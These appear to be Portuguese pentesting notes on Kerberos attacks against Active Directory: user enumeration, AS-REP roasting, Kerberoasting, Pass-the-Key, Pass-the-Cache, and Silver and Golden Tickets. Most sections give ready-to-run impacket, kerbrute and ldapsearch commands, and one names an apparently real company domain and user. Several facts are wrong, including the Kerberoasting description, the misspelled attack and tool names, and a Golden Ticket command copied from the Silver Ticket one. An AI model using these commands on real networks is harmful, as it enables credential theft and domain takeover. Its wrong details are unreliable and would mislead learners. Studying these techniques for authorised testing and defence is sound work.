Kerberos é um protocolo de autenticação em rede criado no MIT no fim dos anos 80 (Projeto Athena) e padronizado como Kerberos V5 no RFC 4120. Ele foi projetado para resolver dois problemas centrais em ambientes multiusuário:
1. Permitir “single sign-on” (SSO): o usuário digita a senha uma única vez e, a partir daí, pode acessar vários serviços sem precisar reenviar suas credenciais.
2. Evitar que senhas trafeguem pela rede: todos os segredos são protegidos por criptografia simétrica; apenas tickets e chaves de sessão circulam.
### Tipos de enumeração no Kerberos
#### Kerberos Bruteforce
O ataque consiste em enviar uma requisição TGT sem informar um usuário e senha do usuário. Se o usuário for válido, a AS irá retornar uma mensagem solicitando a senha do usuário ou de pre-autenticação. Para realizar esse ataque você pode usar uma ferramenta chamada Kerbrute:
```
kerbrute usernum -d DOMINIO.LOCAL -dc <IP> <Wordlist>
```
#### ASP-REP Roasting
É um ataque que consiste em o obter a hash da senha de um usuário que não tem pre-autenticação habilitada. O ASP-REP Roasting funciona da seguinte forma:
1. O pentest envia uma requisição ASP-REP para o AS informando o usuário que deseja o obter o hash da senha.
2. O AS irá retornar a mensagem criptografada com a hash da senha do usuário, caso o usuário tenha habilitado o recursos de não requerer autenticação.
3. Com a hash em mãos podemos quebra-lo localmente.
```markdown
# Comando para adicionar 8 horas.
date --set="+8 hours"
# Comando para sincronizar a hora com servidor.
net time set -S ipdoservidor
```
OBS: Procurar por contas que tem o Pre-Autenticated Desabilitado usando o LDAP.
```
ldapsearch -x -H ldap://dc.exemplo.com:389 -D "
[email protected]" -W -b "dc=exemplo,dc=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" samAccountName distinguishedName userAccountControl
```
```markdown
# Com o usuário conhecido
impacket-GetNPUsers hitech.ind.br/joao.penedo -no-pass -dc-ip XXX.XXX.XXX.XXX
# Com lista de usuários do SNMP
impacket-GetNPUsers hitech.ind.br/ -usersfile users_snmp.txt -format hashcat -outputfile asrep_hashes.txt
```
#### Kerberoasting
É um tipo de ataque que explora a funcionalidade de autenticação dos Kerberos. O objetivo da técnica é extrair hashes de senhas de contas de serviço do Active (AD) que não estão associadas a Service Principal Name (SPNs). Nesse ataque o atacante solicita tickets para todos os SPNs do AD.
![[kerberos.png]]
OBS: Um dos requisitos para esse ataque é que já tenhamos uma credencial válida.
```
impacket-GetUserSPNs -request -dc-ip IP dominio.local/user:password
```
#### PassTheKey
Para executar o ataque de Pass The Key você precisa de uma Secret Key (DES, RC4, AES128 ou AES256). Portanto, caso o atacante conheça a Secret Key do usuário, ele não vai precisar conhecer a senha do usuário para pedir Tickets.
O comando para ser executado é:
```
GetTGT.py -aesKey 'Key' dominio/user@alvo
```
Depois é preciso criar uma variável de ambiente chamado:
```
KRB5CCNAME=/tmp/ticket.hash
```
Informando a localização do Ticket gerado.
#### PassTheCache
O ataque consiste em utilizar um ticket em cache para obter acesso a um serviço. Esse tipo requer acesso ao servidor e que tenha um ticket válido salvo na maquina. Para executar o ataque é necessário copiar o ticket para um arquivo e depois executar o comando impacket:
```
export KRB5CCNAME=/tmp/ticket.ccache
```
```
impacket-psexec -k -no-pass -dc-ip IP
```
#### Silver e Golgen Ticket
O Silver Ticket é um ataque que irá forjar um ticket de serviço onde será necessário conhecer o NT Hash que irá criptografar o TGS (Ticket Granting Service) para acessar o serviço. Para realizar esse ataque é necessário você conhecer: **NT Hash do Serviço**, **Domain SID** e o **Service Principal Name** (SPN).
```
ticketer.py -nthash xxxxx -domain-sid S1-S1-4-5-54 -domain dominio.local -spn CIFS/DESKT01.dominio.local fake_user
```
```
export KRB5CCNAME=/tmp/ticket.ccache
```
```
psexec.py -k DESKT01.dominio.local
```
Já o Golden Ticket será possível forjar um ticket para qualquer usuário e acessar qualquer serviço. Para isso é necessário conhecer o NT HASH do usuário KRBTGT.
```
ticketer.py -nthash xxxxx -domain-sid S1-S1-4-5-54 -domain dominio.local -spn CIFS/DESKT01.dominio.local fake_user
```
```
export KRB5CCNAME=/tmp/ticket.ccache
```
```
secretsdump.py -k dc01.dominio.local -just-dc-ntlm -just-dc-user krbtgt
```